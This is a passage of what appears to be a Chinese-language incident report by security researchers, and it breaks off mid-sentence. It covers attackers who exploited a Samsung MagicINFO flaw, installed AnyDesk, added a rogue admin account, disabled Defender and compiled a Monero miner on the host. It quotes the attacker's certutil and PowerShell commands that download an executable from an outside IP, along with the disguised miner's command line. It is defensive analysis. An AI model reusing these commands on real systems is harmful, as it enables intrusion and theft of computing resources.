背景
Huntress 研究人员最近发现了一起独特事件，在该事件中，威胁行为者通过利用已知的 Samsung MagicINFO 漏洞获得初始访问权限，并在终端上安装了一个恶意的 AnyDesk 实例，此外，他们还旨在部署一个加密矿工。虽然在事件中出现加密矿工并不罕见，但让我们感到惊讶的是，此事件中的行为者直接在终端上编译了加密矿工。他们通过 Silent XMR Miner Builder.exe（一个用于部署 Monero 或 XMR 加密矿工的 Windows 构建工具，通常与开源 SilentXMRMiner 项目相关）运行命令，执行了多个 .NET Framework 实用程序和一系列 C 编译器。以这种方式在受害者的终端上编译加密矿工可能对威胁行为者有多种优势，包括允许他们根据目标环境进行定制（例如针对终端的 CPU 架构进行优化）。然而，这些过程也导致了活动的显著激增，并且从 EDR 监控的角度来看，具有讽刺意味的是非常嘈杂。
事件
初始访问
在 2026 年 9 月初，一个受管理的终端因来自该终端上 Samsung MagicINFO Premium 安装的活动而被警报。Samsung MagicINFO 是数字标牌/内容管理软件；Huntress 之前详细描述了在该平台上发现的漏洞的后利用活动。在此事件中，该活动据报道与 CVE-2025-4632 相关，这是一个允许攻击者以系统权限写入任意文件的 Samsung MagicINFO 漏洞。该漏洞于 2025 年 5 月修复（在发现一个早期的缺陷 CVE-2024-7399 后，发现修复不完整）。在报告事件时，客户被告知了适当的修复措施。然而，八天后，该终端再次因不同的后妥协活动被报告，该活动与之前事件报告的相同访问向量相关。
（多次）AnyDesk 安装尝试
初始检测是针对尝试将 AnyDesk RMM 下载到终端的活动。威胁行为者尝试了三次从 194.87.89[.]30 下载 AnyDesk。起初，他们尝试使用 certutil.exe：
C:\Windows\System32\cmd.exe /c certutil -urlcache -split -f http://194.87.89.30:8899/anydesk.exe C:\ProgramData\AnyDesk.exe 2>&1
然而，该命令很快被终端上的 Microsoft Defender 移除。随后，威胁行为者尝试使用涉及 PowerShell 的 Invoke-WebRequest 方法：
C:\Windows\System32\cmd.exe /c powershell -c Invoke-WebRequest -Uri ""http://194.87.89.30:8899/anydesk.exe"" -OutFile ""C:\ProgramData\AnyDesk.exe"" 2>&
这再次被 Microsoft Defender 检测并修复。图 1 显示了行为者第三次尝试的 EDR 检测，最终成功。
图 1：AnyDesk 下载的检测
请注意这里的祖父进程 tomcat9.exe。这表明该命令是通过 Apache Tomcat 服务执行的，而 Samsung MagicInfo 就运行在其之上（Samsung MagicINFO 是一个 Java Web 应用程序，像许多企业 Java 应用程序一样，它部署在嵌入式 Apache Tomcat 服务器上）。
一旦下载成功，威胁行为者能够在终端上安装 AnyDesk，并根据图 2 设置了 AnyDesk 的密码。
图 2：添加到 AnyDesk 的密码
与图 1 一样，父进程是 tomcat9.exe，这再次指向 Huntress SOC 分析师关注 MagicINFO 漏洞。
在设置 AnyDesk 密码后，威胁行为者创建了一个名为 oldadministrator 的新用户帐户。图 3 显示威胁行为者为新创建的用户帐户和 AnyDesk 使用了相同的密码。
图 3：密码使用
在安装 AnyDesk 后，威胁行为者通过 SystemSettingsAdminFlows.exe 禁用了 Microsoft Defender，如图 4 所示。
图 4：使用 SystemSettingsAdminFlows.exe 禁用 Windows Defender
编译加密矿工
一旦 Windows Defender 被禁用，威胁行为者便继续进行下一步。这时，EDR 监控显示了一个有趣的命令行：从新创建的用户的文档文件夹中运行 Silent XMR Miner Builder.exe。这很可能源自 SilentXMRMiner 开源 GitHub 项目。
图 5：SilentXMRMiner 在 GitHub 上的“主要特性”详情
接下来，从 EDR 监控的角度来看，发生的事情绝对不安静。多个实例的 .NET Framework 实用程序 csc.exe 和 cvtres.exe 被执行，随后多个不同的 C 编译器被运行，包括 donut.exe、tcc.exe 和 MinGW64 cc1.exe 和 gcc.exe。Donut 被描述为“一个位置无关的代码，允许 VBScript、JScript、EXE、DLL 文件和 dotNET 程序集的内存执行”。Tcc.exe 是小型 C 编译器，其余工具是 MinGW64 工具集的一部分。所有这些编译器都被观察到作为 Silent XMR Miner Builder.exe 的子进程运行。
所有这些过程都显示出活动的显著激增，尤其是来自一个未签名的父进程。
图 6 显示了结果加密矿工的检测。
图 6：结果矿工 EXE
最后，监控数据显示加密货币矿工连接到 C3Pool 服务（公共加密货币挖矿池），以使用主机的 CPU 进行 Monero 挖矿，并可能使用其 GPU。值得注意的是，它是在 explorer.exe 下运行的。
该命令行如下所示，提供了检测机会：
C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=auto.c3pool.org:19999 --user=[REDACTED] --pass=186605 --cpu-max-threads-hint=100 --cinit-idle-wait=5 --cinit-idle-cpu=100
没有任何命令行参数是 Windows Explorer 的“正常”参数，因为合法的 Windows Explorer 不使用挖矿参数（这表明是一个注入的恶意进程）；因此这可以